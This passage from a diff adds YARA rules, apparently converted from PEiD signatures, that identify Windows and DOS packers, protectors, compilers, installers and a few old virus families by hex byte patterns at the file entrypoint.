+		$0 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85}
+		$1 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NTkrnl_Secure_Suite_V01_DLL__NTkrnl_Software_
+{
+	meta:
+		description = "NTkrnl Secure Suite V0.1 DLL -> NTkrnl Software"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 8B 44 24 04 05 ?? ?? ?? ?? 50 E8 01 00 00 00 C3 C3}
+	condition:
+		$0
+}
+rule _PENinja_
+{
+	meta:
+		description = "PENinja"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce_V3X__StarForce_Copy_Protection_System_
+{
+	meta:
+		description = "StarForce V3.X -> StarForce Copy Protection System"
+	strings:
+		$0 = {68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_v142_
+{
+	meta:
+		description = "X-Pack v1.4.2"
+	strings:
+		$0 = {72 ?? C3 8B DE 83 ?? ?? C1 ?? ?? 8C D8 03 C3 8E D8 8B DF 83 ?? ?? C1 ?? ?? 8C C0 03 C3 8E C0 C3}
+	condition:
+		$0
+}
+rule _ENIGMA_Protector_V1X_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.X-> Sukhov Vladimir"
+	strings:
+		$0 = {45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31}
+	condition:
+		$0
+}
+rule _A_program_by_Jupiter__
+{
+	meta:
+		description = "A program by Jupiter .."
+	strings:
+		$0 = {2B C0 74 05 68 ?? ?? ?? ?? 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCryptor_by_SMT_Version_v3v4_
+{
+	meta:
+		description = "PolyCryptor by SMT Version %v3.%v4"
+	strings:
+		$0 = {EB ?? 28 50 6F 6C 79 53 63 72 79 70 74 20 ?? ?? ?? 20 62 79 20 53 4D 54 29}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_GCC_DLL_v2xx_
+{
+	meta:
+		description = "MinGW GCC DLL v2xx"
+	strings:
+		$0 = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2000_
+{
+	meta:
+		description = "ASPack v2.000"
+	strings:
+		$0 = {60 E8 70 05 00 00 EB 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_GCC_v2x_
+{
+	meta:
+		description = "MinGW GCC v2.x"
+	strings:
+		$0 = {55 89 E5 E8 ?? ?? ?? ?? C9 C3 ?? ?? 45 58 45}
+		$1 = {55 89 E5 ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v160a_
+{
+	meta:
+		description = "Armadillo v1.60a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v300a_
+{
+	meta:
+		description = "Armadillo v3.00a"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _xPEP_03x__xIkUg_
+{
+	meta:
+		description = "xPEP 0.3x -> xIkUg"
+	strings:
+		$0 = {55 53 56 51 52 57 E8 16 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftComp_1x__BG_Soft_PT_
+{
+	meta:
+		description = "SoftComp 1.x -> BG Soft PT"
+	strings:
+		$0 = {E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00}
+	condition:
+		$0
+}
+rule _Vx_VCL_encrypted_
+{
+	meta:
+		description = "Vx: VCL (encrypted)"
+	strings:
+		$0 = {01 B9 ?? ?? 81 34 ?? ?? 46 46 E2 F8 C3}
+		$1 = {01 B9 ?? ?? 81 35 ?? ?? 47 47 E2 F8 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_VCL_
+{
+	meta:
+		description = "Vx: VCL"
+	strings:
+		$0 = {AC B9 00 80 F2 AE B9 04 00 AC AE 75 ?? E2 FA 89}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v11__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.1 -> CGSoftLabs"
+	strings:
+		$0 = {E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00}
+		$1 = {E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v25x__v26x_
+{
+	meta:
+		description = "Armadillo v2.5x - v2.6x"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL [aPLib] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Pack_v099_
+{
+	meta:
+		description = "PE Pack v0.99"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 83 ED 06 80 BD E0 04 ?? ?? 01 0F 84 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_v15_DEMO__FEUERRADERAHTeam_
+{
+	meta:
+		description = "PUNiSHER v1.5 (DEMO) -> FEUERRADER/AHTeam"
+	strings:
+		$0 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v033__v034_Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.33 ~ v0.34 Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {59 F3 A5 83 C8 FF 8B DF AB 40 AB 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PEZip_v10_by_BaGIE_
+{
+	meta:
+		description = "PEZip v1.0 by BaGIE"
+	strings:
+		$0 = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51}
+	condition:
+		$0
+}
+rule _CreateInstall_Stub_vxx_
+{
+	meta:
+		description = "CreateInstall Stub vx.x"
+	strings:
+		$0 = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56}
+		$1 = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CRYPT_Version_17_c_Dismember_EXE_
+{
+	meta:
+		description = "CRYPT Version 1.7 (c) Dismember (EXE)"
+	strings:
+		$0 = {0E 17 9C 58 F6 ?? ?? 74 ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SuckStop_v111_
+{
+	meta:
+		description = "SuckStop v1.11"
+	strings:
+		$0 = {EB ?? ?? ?? BE ?? ?? B4 30 CD 21 EB ?? 9B}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v021Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.21Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 ?? ?? ?? ?? 33}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_p_Virus_Shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable + Virus Shield)"
+	strings:
+		$0 = {03 05 40 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10D__vcasm_
+{
+	meta:
+		description = "VProtector V1.0D -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 31 41 00 68 06 32 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v020_
+{
+	meta:
+		description = "PC Shrinker v0.20"
+	strings:
+		$0 = {E8 E8 01 ?? ?? 60 01 AD B3 27 40 ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105_v124__Markus__Laszlo_overlay_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 -v1.24 -> Markus & Laszlo [overlay]"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 EB 0B 90 8A 06 46 88 07 47 01 DB 75 ?? 8B 1E 83 ?? ?? 11 DB 72 ?? B8 01 00 00 00 01 DB 75}
+	condition:
+		$0 at entrypoint
+}
+rule _ActiveMARK_5x__Trymedia_SystemsInc_h_
+{
+	meta:
+		description = "ActiveMARK 5.x -> Trymedia Systems,Inc. (h)"
+	strings:
+		$0 = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67}
+		$1 = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67}
+	condition:
+		$0 or $1
+}
+rule _PEProtect_09_by_Cristoph_Gabler_1998_
+{
+	meta:
+		description = "PE-Protect 0.9 by Cristoph Gabler 1998"
+	strings:
+		$0 = {50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39}
+	condition:
+		$0
+}
+rule _Free_Pascal_v106_
+{
+	meta:
+		description = "Free Pascal v1.06"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 ?? E8 ?? ?? 00 00}
+	condition:
+		$0
+}
+rule _RSCs_Process_Patcher_v14_
+{
+	meta:
+		description = "R!SC's Process Patcher v1.4"
+	strings:
+		$0 = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Basic_50__60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic 5.0 / 6.0)"
+	strings:
+		$0 = {C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_1201_compressed__Oreans_Technologies_h_
+{
+	meta:
+		description = "Themida 1.2.0.1 (compressed) -> Oreans Technologies (h)"
+	strings:
+		$0 = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftProtect__SoftProtectbyru_
+{
+	meta:
+		description = "SoftProtect -> SoftProtect.by.ru"
+	strings:
+		$0 = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXLock_v10__CyberDoom_
+{
+	meta:
+		description = "UPXLock v1.0 -> CyberDoom"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 60 E8 2B 03 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v220b1_
+{
+	meta:
+		description = "Armadillo v2.20b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPack_v011_
+{
+	meta:
+		description = "UPack v0.11"
+	strings:
+		$0 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7}
+	condition:
+		$0
+}
+rule _FSG_v11_
+{
+	meta:
+		description = "FSG v1.1"
+	strings:
+		$0 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE ?? ?? ?? ?? FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrypter_
+{
+	meta:
+		description = "PE-Crypter"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D EB 26}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_joiner__Amok_
+{
+	meta:
+		description = "EXE joiner -> Amok"
+	strings:
+		$0 = {A1 14 A1 40 00 C1 E0 02 A3 18 A1 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Name_of_the_Packer_v10_
+{
+	meta:
+		description = "Name of the Packer v1.0"
+	strings:
+		$0 = {50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_MTEb_
+{
+	meta:
+		description = "ASProtect v1.1 MTEb"
+	strings:
+		$0 = {90 60 E9 ?? 04}
+	condition:
+		$0 at entrypoint
+}
+rule _PAKSFX_Archive_
+{
+	meta:
+		description = "PAK-SFX Archive"
+	strings:
+		$0 = {55 8B EC 83 ?? ?? A1 ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? ?? ?? 8C D7 8E C7 8D ?? ?? BE ?? ?? FC AC 3C 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _DevCpp_v4_
+{
+	meta:
+		description = "Dev-C++ v4"
+	strings:
+		$0 = {55 89 E5 83 EC 08 83 C4 F4 6A ?? A1 ?? ?? ?? 00 FF D0 E8 ?? FF FF FF}
+	condition:
+		$0
+}
+rule _PCrypt_v351_
+{
+	meta:
+		description = "PCrypt v3.51"
+	strings:
+		$0 = {50 43 52 59 50 54 FF 76 33 2E 35 31 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_WATCOM_CCpp_EXE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [WATCOM C/C++ EXE] --> Anorganix"
+	strings:
+		$0 = {E9 00 00 00 00 90 90 90 90 57 41}
+		$1 = {E9 00 00 00 00 90 90 90 90 57 41}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Grazie883_
+{
+	meta:
+		description = "Vx: Grazie.883"
+	strings:
+		$0 = {1E 0E 1F 50 06 BF 70 03 B4 1A BA 70 03 CD 21 B4 47 B2 00 BE 32 04 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Blade_Joiner_v15_
+{
+	meta:
+		description = "Blade Joiner v1.5"
+	strings:
+		$0 = {55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v2xx_
+{
+	meta:
+		description = "PECompact v2.xx"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0
+}
+rule _EncryptPE_12003518__WFS_
+{
+	meta:
+		description = "EncryptPE 1.2003.5.18 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_MinGW_GCC_2x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [MinGW GCC 2.x] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9}
+		$1 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEiDBundle_v100__v101__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.00 - v1.01 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 ?? 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10_Build_20041213_test__vcasm_
+{
+	meta:
+		description = "VProtector V1.0 [Build 2004.12.13] test! -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1A 89 40 00 68 56 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _SEAAXE_v22_
+{
+	meta:
+		description = "SEA-AXE v2.2"
+	strings:
+		$0 = {FC BC ?? ?? 0E 1F A3 ?? ?? E8 ?? ?? A1 ?? ?? 8B ?? ?? ?? 2B C3 8E C0 B1 03 D3 E3 8B CB BF ?? ?? 8B F7 F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _Simple_UPX_Cryptor_V3042005__MANtiCORE_
+{
+	meta:
+		description = "Simple UPX Cryptor V30.4.2005 -> MANtiCORE"
+	strings:
+		$0 = {60 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? ?? ?? ?? ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_5_Fusion_4_
+{
+	meta:
+		description = "Crunch 5 Fusion 4"
+	strings:
+		$0 = {EB 15 03 ?? ?? ?? 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 E8}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_70_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 7.0 DLL] --> Anorganix"
+	strings:
+		$0 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9}
+		$1 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v190b1_
+{
+	meta:
+		description = "Armadillo v1.90b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Basic_50_
+{
+	meta:
+		description = "Microsoft Visual Basic 5.0"
+	strings:
+		$0 = {FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Pksmart_10b_
+{
+	meta:
+		description = "Pksmart 1.0b"
+	strings:
+		$0 = {BA ?? ?? 8C C8 8B C8 03 C2 81 ?? ?? ?? 51 B9 ?? ?? 51 1E 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_iBox_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 iBox [aPLib] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 79 29 00 00 8D 9D 2C 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Neolite_20__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Neolite 2.0] --> Anorganix"
+	strings:
+		$0 = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+		$1 = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$2 = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ASProtect_v12x_New_Strain_
+{
+	meta:
+		description = "ASProtect v1.2x (New Strain)"
+	strings:
+		$0 = {68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_SYP_
+{
+	meta:
+		description = "Vx: SYP"
+	strings:
+		$0 = {47 8B C2 05 1E 00 52 8B D0 B8 02 3D CD 21 8B D8 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_p_Password_checking_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable + Password checking)"
+	strings:
+		$0 = {03 05 80 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V112_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.12-> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 C5 FA 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_v11_150200_Beta__NEOx_
+{
+	meta:
+		description = "nPack v1.1 150-200 Beta -> NEOx"
+	strings:
+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? 00 E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PiMP_Install_System_v1x_
+{
+	meta:
+		description = "Nullsoft PiMP Install System v1.x"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74}
